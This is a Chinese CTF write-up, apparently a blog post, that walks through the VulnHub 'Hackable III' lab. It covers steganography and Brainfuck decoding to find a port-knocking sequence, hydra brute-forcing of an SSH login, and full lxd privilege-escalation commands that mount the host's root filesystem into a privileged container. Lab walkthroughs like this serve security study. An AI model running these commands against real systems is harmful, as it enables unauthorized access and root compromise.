VulnHub靶场渗透实战-hackable3

 前言

 靶场地址:可破解:III ~ VulnHub

 靶场环境:Virtualbox(最后总结出来:用新版本导入)

网络模式:桥接。

靶场难度:中等。

结果思路总结:

本节使用的工具和漏洞难度中等,涉及到CTF中的隐写术,Brainfuck解密。

  1. 信息收集(查看源码,目录扫描)
  2. 算法解密(bash64,Brainfuck)
  3. 端口敲门技术(nmap,knock 的使用)
  4. hydra 暴力破解 SSH
  5. 信息收集获取密码
  6. lxd 提权(容器提权思路)

 一:信息收集

1:主机发现。

arp-scan -I eth0 -l(指定网卡扫描)

netdiscover -i eth0 -r 192.168.1.1/24(指定网卡扫描)

masscan 192.168.1.1/24 -p 80,22(masscan 扫描的网段 -p 扫描端口号)

 2:常规思路,扫描开放服务端口。(22端口过滤?)

nmap -sS -sV -T5 -A -p- 192.168.1.38

 2.1访问80端口服务。

二:枚举漏洞

1:查看源代码,一个登录页,及注释内容-端口敲门,一个账户,jpg文件。

“请,jubiscleudo,不要忘记激活端口敲门时退出你的部分,并告诉老板不要忘记批准。jpg文件- dev_suport@hackable3.com "

端口敲门(端口碰撞)技术是一种通过在一组预先指定的关闭端口上产生连接请求,从外部打
开防火墙上的端口的方法。一旦收到正确的连接请求序列,防火墙规则就会被动态修改,以
允许发送连接请求的主机通过特定端口进行连接。
也就是说,攻击者可能通过端口扫面来利用一些端口服务来发动攻击,但是一些固定的端口
又需要开放来满足远程维护需求,因此,我们可以使用端口碰撞技术来形成一个访问控制。
我们需要去碰撞一个特定的端口序列,才能够打开我们想要访问的端口。

 登录被重定向到login.php了。

 查看这个3.jpg文件。

 2:把图片下载下来,尝试隐写工具steghide查看图片内的信息。

释放图片中的隐写内容:steghide extract -sf 3.jpg

 3:爆破了一下目录,存在这些文件。

3.1:访问:http://192.168.1.38/backup/http://192.168.1.38/config/访问:http://192.168.1.38/backup/

 查看1.txt文件。

 base解密为10000,解密工具:md5在线解密破解,md5解密加密

 3.2:访问:http://192.168.1.38/css/

frainfuck解密为4444. 解密工具:Brainfuck/OoK加密解密 - Bugku CTF

 识别算法工具。

 总结出来三个端口,4444,10000,65535.

因为有超时限制,加快命令的输入速度也可以写个python的 for in 循环来访问,如下:
for x in 10000 4444 65535;do nmap -p $x 192.168.1.38;done

 1.敲门成功。

三;漏洞利用

1;爆破ssh密码,账户:jubiscleudo;密码:onlymy。

 2:登录ssh,看到一个flag。

 3;在这个账户里进行信息收集。

cd /home 
cd /var/www/html
cat .backup_config.php 

 四:提权-权限提升。

1:切换用户。

 2:可以看到在一个组中 lxd(lxd 和 docker 一样,是一种容器)

lxd 提权原理是下载一个镜像,使用镜像创建容器,将容器目录直接映射到物理主机目录,即可在容器中直接访问物理主机的文件。

查看当前系统中的镜像:lxc image list
(lxd提权的方法和命令)
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation

3:使用方法二:

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.

# before running the image, start and configure the lxd storage pool as default 
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

4:我们直接clone会因为网络原因无法clone,这里我们先本地下载好,然后通过python建服务传.

git clone https://github.com/saghul/lxd-alpine-builder/

 5:zip文件我们没有权限解压,换成tar文件,在线转换:在浏览器中在线将ZIP转换为TAR文件。快速,安全和免费! - ezyZip

tar -xf lxd-alpine-builder-master.tar 解压文件
cd lxd-alpine-builder-master/ 进入文件

 6:依次执行下面的命令。只需注入 lxd init 命令第一个需要输入 yes 即可,就会进入一个 root 命令行,是我们创建的容器映射了真实系统的/root 目录给我们。

sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
lxc image import ./alpine*.tar.gz --alias myimage
lxd init
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh

 7:提权成功。找root.txt。

cd /mnt/root/root  
cat root.txt  查看flag

 8:也可以去试一下第一种方法提权。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值